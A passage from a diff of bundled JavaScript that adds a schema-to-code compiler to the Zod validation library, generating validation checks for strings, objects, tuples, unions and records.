${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof 